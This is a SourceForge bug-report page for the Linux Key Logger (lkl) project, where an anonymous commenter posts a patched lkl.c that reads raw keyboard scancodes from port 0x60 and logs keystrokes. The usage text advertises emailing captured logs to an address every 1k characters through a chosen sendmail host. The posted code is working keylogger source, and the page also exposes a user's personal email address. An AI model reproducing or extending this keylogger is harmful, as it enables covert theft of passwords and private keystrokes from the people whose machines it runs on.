Learn how easy it is to sync an existing GitHub or Google Code repo to a SourceForge project! See Demo

Close

#2 me too (mouse problem)

open
nobody
None
5
2005-02-13
2005-02-13
Anonymous
No

my mouse really runs crazy after a start lkl!
my email is:
spiridon_laurentiu@yahoo.com

Discussion

  • Logged In: NO

    the mouse problem still exists in 0.1.0

     
  • Logged In: NO

    The below lkl.c file fixes the mouse problem. On my system
    in any case.

    #include "lkl.h"

    void start_log(struct lkl *lkl)
    {
    int pressed_shift, pressed_alt;
    unsigned char c, table[TABLE_SIZE];
    unsigned char status;

    c = pressed_shift = pressed_alt = 0;
    bzero(table, TABLE_SIZE);

    if(iopl(3) == -1){
    perror("iopl()");
    exit(1);
    }

    if(ioperm(lkl->port, 5, 1) == -1){
    perror("ioperm()");
    exit(1);
    }

    while(1){
    status = inb_p(KEYBOARD_STATUS_PORT);
    if(status==52||status==53) {
    //Mouse movement
    } else {
    if(lkl->debug) fprintf(stderr, "s=%d ", status);
    c = inb_p(lkl->port);
    if(lkl->debug) fprintf(stderr, "c=%d ", c) ;
    if(c < TABLE_SIZE){
    //fprintf(stderr, "s=%d ", status);
    //fprintf(stderr, "ch=%d ", c) ;
    if(table[c] != 1){
    if((c == 42) // LShift
    || (c == 54)) // RShift
    lkl->pressed_shift = 1;

    if(c == 56) // LAlt, RAlt (dang!)
    lkl->pressed_alt = 1;

    do_output(c, lkl);
    fflush(0);
    }
    table[c] = 1;
    }else{
    //if(lkl->debug) fprintf(stderr, "d=%d ", (c&127));
    table[c & 127] = 0; //&127 delete the pair bit

    if((table[42] == 0) // LShift
    && (table[54] == 0)) // RShift
    lkl->pressed_shift = 0;

    /*if(table[56] == 0)*/ lkl->pressed_alt =
    0;//mouse-bug...i'm sorry about that
    }
    }
    usleep(MSEC); //Don't freeze your system, dude :P
    }

    }

    void usage()
    {
    printf("\n-- Linux Key Logger vers 0.0.4 --\n");
    printf("\tusage:\n");
    printf("\t\t-h this help\n");
    printf("\t\t-l start to log the 0x60 port (keyboard)\n");
    printf("\t\t-b Debug Mode.Perhaps it's usefoul :P\n");
    printf("\t\t-k <km_file> set a keymap file\n");
    printf("\t\t-o <o_file> set an output file\n");
    printf("\t\t-m <email> send logs to <email> every 1k\n");
    printf("\t\t-t <host> hostname for sendmail server.
    default is localhost\n");
    printf("\nExample: lkl -l -k keymaps/it_km -o log.file\n\n");
    }